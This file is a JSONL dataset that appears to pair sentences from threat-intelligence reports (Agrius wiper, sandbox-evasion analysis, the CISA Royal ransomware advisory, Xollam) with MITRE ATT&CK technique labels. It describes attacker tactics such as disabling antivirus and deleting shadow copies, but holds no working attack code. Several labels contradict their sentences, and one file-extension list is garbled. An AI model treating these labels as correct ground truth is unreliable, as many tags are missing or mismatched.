ManipulationFantasy uses the LookupPrivilegeValue and AdjustTokenPrivilege APIs in advapi32.dll to grant its process token the SeShutdownPrivilege to reboot Windows.", "labels": ["T1059.003", "T1106"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Defense EvasionT1070.006Indicator Removal on Host: TimestompAgrius operators timestomped the compilation timestamps of Fantasy and Sandals.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Credential AccessT1003OS Credential DumpingAgrius operators used several tools to dump OS credentials for use in lateral movement.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "DiscoveryT1135Network Share DiscoveryAgrius operators used cached credentials to check for access to other systems within an internal network.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Lateral MovementT1021.002Remote Services: SMB/Windows Admin SharesAgrius operators used cached credentials to connect over SMB to systems within an exploited internal network.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "T1570Lateral Tool TransferAgrius operators used Sandals to push batch files over SMB to other systems within an internal network.", "labels": ["T1570"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "ImpactT1485Data DestructionThe Fantasy wiper overwrites data in files and then deletes the files.", "labels": ["T1070.004"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "T1561.002Disk WipeFantasy wipes the MBR of the Windows drive and attempts to wipe the OS partition.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "T1561.001Disk Wipe: Disk Content WipeFantasy wipes all disk contents from non-Windows drives that are fixed drives.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "T1529System Shutdown/RebootFantasy reboots the system after completing its disk and data wiping payloads.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Appendix File extensions (682) targeted by Fantasy wiper when not targeting all file extensions.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "File extensions highlighted in yellow (68) are common filename extensions in Windows.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Notably absent are file extensions dll and sys. $$$blenddrwjspnyfqualsoftcodetdb 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barddrwincpasnefpsafe3stdyuv batddsinddnfbpsdstgzbfx bayderindexnfcpskstizip bbbdesinprogressnk2pspimagestwztmp bbzdescipdnoppststx~cw bc6designisonoyptbsty bc7dgcitdbnpfptxsum bckdimitlnpspvcsv$ bckpdivxitmnrbakpvhdsv2i bcmdiyiv2inrspysvg bdbdjvuiwdnrwqbaswf bffdmpiwins2qbbsxc bgtdnaj01ns3qbksxd bifdngjarns4qbmsxg bifxdocjavansdqbmbsxi bigdocmjbknsfqbmdsxm bikdocxjdcnsgqbrsxw bk1dotjpanshqbwsyncdb bkcdotmjpentlqbxt12 bkfdotxjpegnwbqbyt13 bkpdovjpgnwbakqdftar bkupdpbjpsnx2qictax bkzdrfjsnxlqsftbk 7 Dec 2022 - 11:30AM", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Executive Summary Malware authors often throw curve balls that are meant to confound automated detection systems.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "We’ve adapted to these techniques by tailoring our analysis platform in a couple of notable ways that we’ll discuss, particularly to address malware that engages in sandbox evasion.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The first is an approach we call “dependency emulation,” where we can successfully detonate malware samples that would not normally be able to execute in our sandbox environment due to a lack of dependencies.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "We will also discuss our strategies of stealthy instrumentation for analysis of encrypted network traffic, to combat the ways SSL can be used to complicate command-and-control (C2) traffic analysis.", "labels": ["T1095"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "One overarching goal malware authors share is to remain undetected until their overall objective is reached.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "As we’ve previously detailed in this blog post series, this has resulted in a seemingly limitless number of evasions and strategies targeted at confounding sandboxing and static analysis approaches.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Due to the endless cat-and-mouse nature of reacting to malware authors’ efforts to remain undetected, we’ve come to understand that the most important characteristic for any automated malware analysis platform is adaptability.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Palo Alto Networks customers receive improved detection for the evasions discussed in this blog through Advanced WildFire.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Table of Contents Dependency EmulationExample File InfectorMitigating the Dependency ProblemVMI SSL/TLS DecryptionTLS HandshakesExample SSL Decryption With WiresharkConclusionIndicators of Compromise Dependency Emulation In the context of malware execution, we talk a lot about dependencies.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "When we do, we’re referring to additional code that an executable depends on that is not inside the executable file.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "On Windows, external dependencies are usually Dynamically Linked Libraries (DLLs) that contain additional functionality that can be imported into the process to execute.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Often malware does not require external libraries in order to execute its malicious code, or it might call functions from those external libraries in a very late stage of its execution.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Over the past few years we’ve noticed a large uptick in malicious Windows executables that require external libraries for things like graphical user interfaces or better cross-platform support, and if the libraries are missing, then the malicious sample won’t be able to run.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "When Windows cannot load an application because of a missing library, it will show a “System Error” error message box that displays the missing library name.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "When we run any executable in our sandbox environment that requires dependencies that are not present, we would see the same error.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "But we wouldn’t be able to get any analysis information from the sample because no malicious code was executed.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "In Figure 1, we can see a screenshot of the ATMSpitter malware family, which requires the DLL MSXFS.dll to fully detonate.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Without the required DLL, we would just see an error dialog telling us that Windows can’t run this file.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "If we place the correct file inside the same directory and run the sample again, it runs just fine", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "and we can extract information such as executed system calls and modified memory regions.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "ATMSpitter malware requires MSXFS.dll to run.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "File infectors like Sality, Floxif, Expiro and Ramnit typically infect predefined sets of executables that they find on the disk.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "If the infected file requires specific libraries that are not part of the operating system (OS), then chances are it’s not going to detonate inside a malware analysis sandbox because these dependencies likely won’t be preinstalled in the environment.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Our sandbox environments are constrained in resources like disk space, and the number of DLL files in the world is seemingly infinite.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Normally, when we run into this situation and the OS loader refuses to execute our file, we are left with no data at all from dynamic analysis.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "What is even more frustrating about this situation is that in many cases, those dependencies don’t matter for infected files in that they aren’t even going to be used.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "File infectors usually call their malicious code very early (e.g., by replacing an early call instruction to their malicious code, or by overwriting the entry point in the PE header) before any function calls from external libraries are ever called.", "labels": ["T1055"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The OS will refuse to load and execute our file, despite the fact that none of the dependencies mattered anyway.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Example File Infector Let’s take a look at one file that has been infected by the Sality malware, which requires external dependencies to run inside a sandbox.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The original file is Groove Audit Service from Microsoft Office, and it requires dependencies from the libraries GrooveNew.dll and GroveUtil.dll (shown in Figure 2).", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "If those two libraries are missing on the system, then the sample won’t be able to run.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The required dependencies.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "If we compare the original file to the infected file inside a PE viewer like StudPE (shown in Figure 3), we notice that the infector has modified only a few values in the PE headers including the size of the image, checksum and section flags to make the last section executable.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Sality infected executable compared to the original file.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "But if we open both the executables inside IDA Pro, we immediately see that the code at the entry point is totally different compared to the original (shown in Figures 4 and 5, below).", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The malicious code in the infected file is being called right at the entry point and doesn’t require any dependencies to fully infect the system.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "However, because of the required dependencies, regular malware analysis sandboxes won’t be able to run this kind of file.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Original entry point.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Modified entry point.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Mitigating the Dependency Problem What can we do about this dependency problem for analysis at scale?", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Dependency emulation is an approach we’ve recently prototyped and found useful to address this.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The main idea of this approach is to detect this situation automatically, and to adapt our sandbox environment to the files being detonated to ensure executables will have a chance to detonate.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Since we have full control over the sandbox, it’s easy to determine that the executable under analysis requires an external library, and to lie to the executable that all of its dependency requirements are met.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Given the million or so unique Windows executables we process daily, it would be an extremely difficult (if not impossible) task to automatically detect and add the specific external libraries for each executable that required external dependencies.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "There are literally hundreds of millions of libraries out there with numerous versions for each, and it’s not really feasible to support providing any arbitrary library in a way that guarantees the intended execution of every sample.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "However, as we’ve discussed in our initial post in this blog series, we often don't need full execution for accurate detection.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "If we can get the malware sample under analysis to get past the Windows loader, initialize itself and unpack any additional payloads, we have a much better shot at detection.", "labels": ["T1027"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Otherwise, we simply get an error from the Windows loader (as shown in Figure 1) and no additional information beyond what static analysis would buy us.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "But what happens when the executable tries to call a function in one of those dependencies?", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The bad news is that, since we aren’t trying to provide actual copies of the required libraries, we can’t correctly simulate the function calls into any of the libraries not present in our environment.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The good news is that, in most cases, this is still enough for accurate detection.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "We don’t need to correctly execute every code path present in the executable, we just need enough execution and memory artifacts for accurate detection.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "For this reason, in order to avoid unintentional crashes or bugs from the analyzed sample, our sandbox stops the execution if any function from the generated stub libraries is called.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "All things considered, with this approach we've seen a lot of samples detonate that wouldn't otherwise, and we've seen many correct detections.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "VMI SSL/TLS Decryption Another challenge we’ve faced with analyzing malware at scale is how to stealthily spy on TLS encrypted traffic in a way that’s not detectable by the malware.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "As HTTPS and other protocols built on SSL have become increasingly ubiquitous for accessing resources across the internet, it’s not surprising that malware authors also use this protocol for other things, such as pulling down the next stage of their payload, or C2 communications.", "labels": ["T1071.001"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "It is possible, of course, to take the easy route and intercept and decrypt all of the traffic from our sandbox with a meddler-in-the-middle approach.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The problem with this is that it’s detectable by examining and validating TLS certificates.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "It’s also possible to instrument and log calls to some of the higher level networking APIs, but again, this is also detectable in many cases and isn’t going to get us all encrypted communications.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "One solution we’ve found useful for this problem is to detect when TLS connections are being initiated and log the symmetric keys generated for the SSL/TLS connection using virtual machine introspection (VMI).", "labels": ["T1573.001"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Before we look into that detection method, let’s have a quick lesson on TLS handshakes.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "TLS Handshakes When an SSL/TLS connection is being established, certain data between the local system and the remote server is exchanged to validate each side's authenticity and generate symmetric keys to encrypt data over the wire.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "This data includes the following: Preferred TLS version Supported cipher suites 32 bytes of random data used in the key generation algorithm A data signature, in the case of an ephemeral elliptic-curve Diffie-Hellman (ECDHE) key exchange An example of an ECDHE “Server Hello” message is shown in Figure 6. Figure 6.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Wireshark screenshot illustrating the initial handshake for an SSL connection.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "In the case of a Diffie-Hellman (DH) handshake, additional DH parameters are then exchanged, and each side separately calculates a pre-master secret.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Finally, the same master secret key is calculated on each side by utilizing the pre-master secret and the client and server random values.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The calculated master secret is 48 bytes in length.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Through reverse engineering efforts, we discovered that this key generation occurs in the ncrypt.dll library in recent versions of the Windows OS.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The key generation happens in memory, so the key is never written to disk and it doesn’t traverse the wire.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "By knowing the exact location in code where each master key is generated and precisely where it resides in memory, it is possible to extract the key.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "This can be accomplished with, for example, an analysis engine via virtual machine introspection, which makes a system invisible to the malware.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "A similar approach can be implemented in instances where other third party libraries are used for key generation, such as OpenSSL.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "An example output, which includes everything needed to decrypt TLS traffic, is shown in Figure 7.", "labels": ["T1140"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Extracted random value and master key.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Final keys and initialization vectors used to encrypt and decrypt network traffic are generated from the master secret through a key expansion.", "labels": ["T1027", "T1140"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Conveniently, the open source tool Wireshark/Tshark accepts a keyfile to perform this decryption automatically on collected pcap traffic.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Example SSL Decryption With Wireshark Let's take a look at a real world example of a sample that belongs to the malware family FormBook.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The sample is loaded by a loader written in Delphi, which downloads the next stage from a public file storage service using HTTPS.", "labels": ["T1071.001", "T1105"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "If we open the recorded package capture in Wireshark and provide the extracted SSL/TLS keys that were extracted by the analysis platform, we should be able to see the SSL encrypted traffic to the public file storage service, including the downloaded data.", "labels": ["T1027", "T1071.001"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The random client value and the master secret key must be stored in a specific file format that Wireshark supports.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "It looks like this: CLIENT_RANDOM", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": " To provide the decryption keys to Wireshark, we have to use the option ssl.keylog_file, which we can pass through the command line.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "For example: Wireshark -r guest_traffic.pcap -o \"ssl.keylog_file:key_capture.keys\" After opening the capture (pcap) in Wireshark, the TLS encrypted data will be decrypted, and we can use the http filter to get the decrypted HTTPS traffic.", "labels": ["T1027", "T1071.001", "T1140"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "This is shown in Figure 8. Figure 8.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Decrypted HTTPS traffic.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "In Figures 9 and 10, we can see the communication to the public file storage service.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Communication to the public file storage service.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Downloaded data from public file storage.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "With the decrypted content, we can write more precise behaviors and signatures that match a malicious sample's network communication.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Conclusion In this post we have discussed two important ways we’ve been able to tailor our analysis environment.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "As we’ve mentioned in previous posts, adaptability in sandboxing is exceptionally important when it comes to staying on top of the malware detection problem.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Threats are continually evolving, and architecting analysis systems as more of a flexible, nicely abstracted software development kit instead of a stand-alone monolithic application is crucial.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "With this in mind, we’ve gone over two important ways our platform adaptability has paid off in Advanced WildFire.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "With Dependency Emulation, we can increase our detonation rates to collect more execution logs necessary for accurate detection.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "With VMI SSL/TLS Decryption, we have visibility into all SSL/TLS communications in a way that isn’t detectable by malware authors.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Once again, if you’ve made it this far, thank you again for reading and we hope you enjoyed this peek into some of the more interesting work we’ve been doing as part of our never-ending endeavor to accurately detect every last malicious file the global internet has to offer us.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Indicators of Compromise SHA-256 Name c5b43b02a62d424a4e8a63b23bef8b022c08a889a15a6ad7f5bf1fd4fe73291f ATMSpitter a3b2de8f0d648f3e157300d0a88971919eb273b7d1c7b9ed023f26b5cc0ac3ca Sality infected file 4e32a6000a2b33ed0b8e4cf1256876c356cf5508ce0df2752fcfa214b6c2795b Formbook (SSL Decryption)", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "SUMMARY Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Actions to take today to mitigate cyber threats from ransomware: Prioritize remediating known exploited vulnerabilities.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Train users to recognize and report phishing attempts.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Enable and enforce multifactor authentication.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known Royal ransomware IOCs and TTPs identified through FBI threat response activities as recently as January 2023.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Since approximately September 2022, cyber criminals have compromised U.S. and international organizations with a Royal ransomware variant.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "FBI and CISA believe this variant, which uses its own custom-made file encryption program, evolved from earlier iterations that used “Zeon” as a loader.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "After gaining access to victims’ networks, Royal actors disable antivirus software and exfiltrate large amounts of data before ultimately deploying the ransomware and encrypting the systems.", "labels": ["T1562.001"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Royal actors have made ransom demands ranging from approximately $1 million to $11 million USD in Bitcoin.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "In observed incidents, Royal actors do not include ransom amounts and payment instructions as part of the initial ransom note.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Instead, the note, which appears after encryption, requires victims to directly interact with the threat actor via a .onion URL (reachable through the Tor browser).", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Royal actors have targeted numerous critical infrastructure sectors including, but not limited to, Manufacturing, Communications, Healthcare and Public Healthcare (HPH), and Education.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Download the PDF version of this report: #StopRansomware: Royal Ransomware (PDF, 586.96 KB )", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "For a downloadable copy of IOCs, see AA23-061A STIX XML (XML, 114.26 KB ) TECHNICAL DETAILS Note: This advisory uses the MITRE ATT&CK:registered: for Enterprise framework, version 12.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Royal ransomware uses a unique partial encryption approach that allows the threat actor to choose a specific percentage of data in a file to encrypt.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "This approach allows the actor to lower the encryption percentage for larger files, which helps evade detection.[1]", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "In addition to encrypting files, Royal actors also engage in double extortion tactics in which they threaten to publicly release the encrypted data if the victim does not pay the ransom.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Initial Access Royal actors gain initial access to victim networks in a number of ways including: Phishing.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "According to third-party reporting, Royal actors most commonly (in 66.7% of incidents) gain initial access to victim networks via successful phishing emails [T1566].", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "According to open-source reporting, victims have unknowingly installed malware that delivers Royal ransomware after receiving phishing emails containing malicious PDF documents [T1566.001], and malvertising [T1566.002].[2] Remote Desktop Protocol (RDP).", "labels": ["T1566.001"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "The second most common vector Royal actors use (in 13.3% of incidents) for initial access is RDP compromise.", "labels": ["T1021.001"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Public-facing applications.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "FBI has also observed Royal actors gain initial access through exploiting public-facing applications [T1190]. Brokers.", "labels": ["T1190"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Reports from trusted third-party sources indicate that Royal actors may leverage brokers to gain initial access and source traffic by harvesting virtual private network (VPN) credentials from stealer logs.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Command and Control Once Royal actors gain access to the network, they communicate with command and control (C2) infrastructure and download multiple tools [T1105].", "labels": ["T1105"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Legitimate Windows software is repurposed by Royal operators to strengthen their foothold in the victim’s network.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Ransomware operators often use open-source projects to aid their intrusion activities; Royal operators have recently been observed using Chisel, a tunneling tool transported over HTTP and secured via SSH [T1572], to communicate with their C2 infrastructure.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "FBI has observed multiple Qakbot C2s used in Royal ransomware attacks, but has not yet determined if Royal ransomware exclusively uses Qakbot C2s.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Lateral Movement and Persistence Royal actors often use RDP to move laterally across the network", "labels": ["T1021.001"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "[T1021.001].", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Microsoft Sysinternals tool PsExec has also been used to aid lateral movement.", "labels": ["T1570"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "FBI has observed Royal actors using remote monitoring and management (RMM) software, such as AnyDesk, LogMeIn, and Atera, for persistence in the victim’s network", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "In some instances, the actors moved laterally to the domain controller.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "In one confirmed case, the actors used a legitimate admin account to remotely log on to the domain controller [T1078].", "labels": ["T1078"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Once on the domain controller, the threat actor deactivated antivirus protocols", "labels": ["T1562.001"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "[T1562.001] by modifying Group Policy Objects", "labels": ["T1484.001"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "[T1484.001]. Exfiltration Royal actors exfiltrate data from victim networks by repurposing legitimate cyber pentesting tools, such as Cobalt Strike, and malware tools and derivatives, such as Ursnif/Gozi, for data aggregation and exfiltration.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "According to third-party reporting, Royal actors’ first hop in exfiltration and other operations is usually a U.S. IP address.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Note: In reference to Cobalt Strike and other tools mentioned above, a tool repository used by Royal was identified at IP: 94.232.41[.]105 in December 2022.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Encryption Before starting the encryption process, Royal actors: Use Windows Restart Manager to determine whether targeted files are currently in use or blocked by other applications [T1486].[1] Use Windows Volume Shadow Copy service (vssadmin.exe) to delete shadow copies to prevent system recovery.[1] FBI has found numerous batch (.bat) files on impacted systems which are typically transferred as an encrypted 7zip file.", "labels": ["T1027", "T1059.003"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Batch files create a new admin user [T1078.002], force a group policy update, set pertinent registry keys to auto-extract", "labels": ["T1059.003", "T1484.001"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "[T1119]", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "and execute the ransomware, monitor the encryption process, and delete files upon completion—including Application, System, and Security event logs [T1070.001].", "labels": ["T1070.004"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Malicious files have been found in victim networks in the following directories: C:\\Temp\\ C:\\Users\\", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Xollam, the Latest Face of TargetCompany This blog talks about the latest TargetCompany ransomware variant, Xollam, and the new initial access technique it uses.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "We also investigate previous variants' behaviors and the ransomware family's extortion scheme.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "By: Earle Maui Earnshaw, Nathaniel Morales, Katherine Casona, Don Ovid Ladores June 06, 2023Read time: ( words) Save to Folio Subscribe After first being detected in June 2021, the TargetCompany 